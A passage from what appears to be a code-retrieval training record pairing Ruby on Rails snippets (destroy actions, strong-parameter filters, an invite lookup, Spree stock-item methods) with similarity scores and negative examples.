"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @invoice=Invoice.find(params[:id])\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n head :no_content\n end",
"def destroy\n @mammon_invite_record.destroy\n respond_to do |format|\n format.html { redirect_to mammon_invite_records_url, notice: 'Invite record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @visit_request.destroy\n respond_to do |format|\n format.html { redirect_to visit_requests_url, notice: 'Visit request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @client.make_request(:delete, @client.concat_user_path(\"#{DOMAIN_PATH}/#{domain_id}/endpoints/#{id}\"))[0]\n end",
"def destroy\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @profile_invite.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: 'Avaliador removido om sucesso'}\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @invitation = @event.invitations.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_event_invitations_path(@page, @event)) }\n format.xml { head :ok }\n format.js\n end\n end",
"def destroy\n @identity = Identity.find(params[:id])\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url, notice: \"Identity was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7668476",
"0.7668476",
"0.7668476",
"0.7668476",
"0.7457771",
"0.72055924",
"0.7199649",
"0.7199649",
"0.7199649",
"0.7199649",
"0.7193738",
"0.71763223",
"0.7166482",
"0.7079448",
"0.70431536",
"0.70200104",
"0.6986385",
"0.6942255",
"0.6895627",
"0.6848635",
"0.6829932",
"0.6790051",
"0.6718232",
"0.670798",
"0.6700859",
"0.66882914",
"0.66882914",
"0.66882914",
"0.66882914",
"0.66882914",
"0.6656658",
"0.66110986",
"0.66004276",
"0.6593636",
"0.65904653",
"0.657655",
"0.65689254",
"0.6552877",
"0.6544133",
"0.65262544",
"0.6513951",
"0.65011525",
"0.6488794",
"0.6470867",
"0.6460381",
"0.64546245",
"0.64432245",
"0.64053226",
"0.64006805",
"0.64006805",
"0.6390531",
"0.63844204",
"0.63844204",
"0.63844204",
"0.63844204",
"0.6382973",
"0.63759977",
"0.6357763",
"0.6357679",
"0.63539356",
"0.6333602",
"0.6325245",
"0.6310243",
"0.630491",
"0.630491",
"0.6297959",
"0.6297959",
"0.6297959",
"0.6297959",
"0.6297959",
"0.62927824",
"0.6280479",
"0.62784606",
"0.6277244",
"0.62728167",
"0.6271874",
"0.6271874",
"0.6270916",
"0.62673914",
"0.62609476",
"0.62473786",
"0.6241792",
"0.6241792",
"0.62391454",
"0.6237082",
"0.6237082",
"0.6237082",
"0.6237082",
"0.62318647",
"0.6230493",
"0.6224245",
"0.6219741",
"0.6216286",
"0.6213778",
"0.6189448",
"0.6186935",
"0.6183334",
"0.61762",
"0.6175349"
] |
0.7420519
|
6
|
Use callbacks to share common setup or constraints between actions.
|
def set_invite
@invite = Invite.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def invite_params
params.require(:invite).permit(:email, :sender_id, :recipient_id, :token)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
TODO: If no original_stock_location given, return a stock item according to some priority of the regular stock locations, instead of just the first one we find.
|
def stock_item(variant_id, user_id = nil, original_stock_location_id = nil)
return super(variant_id) unless reserved_items?
raise(
UserRequiredArgumentError,
Spree.t(:user_id_required_for_reserved_stock_location)
) unless user_id.present?
items = stock_items.where(variant_id: variant_id, user_id: user_id)
items = items.where(
original_stock_location_id: original_stock_location_id
) unless original_stock_location_id.blank?
items.order(:id).first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def stock(item_id)\n stocks.find {|st| st.item_id === item_id }\n end",
"def lookup_stock(name)\n return StockQuote::Stock.quote(name)\nend",
"def lowest_stock # A refactoriser via méthode SQL, on peut faire beaucoup plus court\n # Pour chaque produit récupérer la remaining quantity\n # Vérifier si cette valeur est inférieure à un critère donné\n # Renvoyer la liste de tous les produits concernés\n @products = Product.all\n @products = @products.sort_by do |product|\n product.total_remaining_quantity\n end\n low_stock_trigger = 3 # Plancher de quantité qui trigger l'alimentation de la liste des low_stocks\n low_stock_list = Array.new\n @products.each do |product|\n if product.total_remaining_quantity < low_stock_trigger\n low_stock_list << product\n end\n end\n return low_stock_list.first # Pour l'instant on ne renvoit qu'un item pour qu'on ait une seule notif pour stock bas\n end",
"def load_item!(order_item, stock)\n if !order_item.product.tracked_stock? || source.enable_gateway?\n load_item_from_infinite_stock(order_item) && return\n end\n stock_items = stock.select { |item| item.product == order_item.product }\n return false if stock_items.none?\n\n if order_item.lot_code.present?\n load_item_by_lot_code(order_item, stock_items)\n else\n load_item_from_stock(order_item, stock_items)\n end\n end",
"def backorderable_by_stock_location_id\n backorderables.group_by(&:second).transform_values do |variant_ids|\n Spree::StockQuantities.new(\n variant_ids.map do |variant_id, _|\n variant = @variant_map[variant_id]\n [variant, Float::INFINITY]\n end.to_h\n )\n end\n end",
"def min_price\n if @stocks.first.opening.nil?\n @stocks.map(&:closing).min\n else\n @stocks.map(&:opening).min\n end\n end",
"def default_location\n @default_location ||= Spree::StockLocation.find_by_name('default')\n end",
